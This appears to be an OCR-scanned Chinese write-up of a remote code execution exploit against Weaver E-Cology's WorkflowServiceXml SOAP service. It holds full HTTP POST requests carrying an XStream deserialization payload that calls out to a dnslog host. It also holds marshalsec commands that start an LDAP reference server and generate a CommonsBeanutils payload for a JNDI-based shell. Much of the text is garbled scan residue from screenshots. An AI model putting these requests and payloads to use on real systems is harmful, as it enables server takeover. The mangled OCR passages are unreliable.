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POST /services%20/WorkflowServiceXml HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
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Content-Length: 10994
Host: xxx

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Connection: close

xfE-Cology WorkflowServiceXml RCE

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:web="webservices.services.weaver.com.cn">

<soapenv :Header/>
<soapenv:Body>
<web: doCreateWorkflowRequest>
<web:string>
<map>
<entry>

<url>http://thelostworld.dnslog.cn</url>

<string>http://thelostworld.dnslog.cn</string>

</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv :Body>
</soapenv:Envelope>
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POST /services%20/WorkflowServiceXml HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8

SOAPAction: ™"

Content-Length: 10994

Host: xxx

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv : Body>
<web :doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://thelostworld.dnslog.cn</url>
<string>http://thelostworld.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv :Body>
</soapenv:Envelope>

SNEBE:
F A marshalsec & A58 shell payload
B0 jndi © Idap ARSS

java -cp marshalsec-0.0.3-SNAPSHOT-all. jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:8888/#Exploit

475 poc:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils
ldap://127.0.0.1:1389/Exploit > payload.xml

DNSlog:
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19 </soapenv:Body= ~— g 2L -
20 </soapenviEnvelopes

MATA S

- O==

EX Raw Foncer \n Actions v Select extension... v
1
z

sk
[Tl Raw 'n  Actions v
1 POST /servicess2@/WorkflowServiceXml HTTR/1.1

2
3

4 4
5 5
6 3
7 i
& USer-Agent: Apacne-HTTPL L1ent/4.1.1 (Java 1.5} £
g Connection: close

11 =soapenv:Envelope xmlns:soapenv="http://schemas,xmlsoap.org/soap/envelope/" xmlns iweb="w

12 <soapenv:Header/> 12 Windows IP BCH
13

13  <soapenv:Body>
14 <weh:doC reateworkflowRequests 14
15 LAKRIERE S 4:
15 E 16
LTS L c e  SREEET
18 FERETEMO NS EE . . 000w ot

19
;? CARFIERCER #HR:

s

27
H 28 LAKRIEERE P
uo29

I

H

il

430 EREERI NS EE .. ... .
31 FHEEESE IPV6 HhAE. | . o

¢ 32 TPva Bl . ... ...

W33 FREEN

O OMBARRE. c e

!

OB« . OBl T

22
https://mp.weixin.qg.com/s/-eTSGvjuygGxULHewBIOMg

http://wiki.peiqi.tech/PeiQi_Wiki/ OA%E4%BA%A7%ES5%93%81%E6%BC%8F
%EB6%B4%9E/%EB%B3%9B%ES%BE%AEOA/%EE%B3%9IB%ES%BEY%AEE

—Cology%20WorkflowServiceXml%20RCE.html?
h=%E6%B3%9B%E5%BE%AEE-Cology%20WorkflowServiceXml%20RCE

https://mp.weixin.qq.com/s/DVIZC5;U6MQQqUoM2gKTBg 4/4



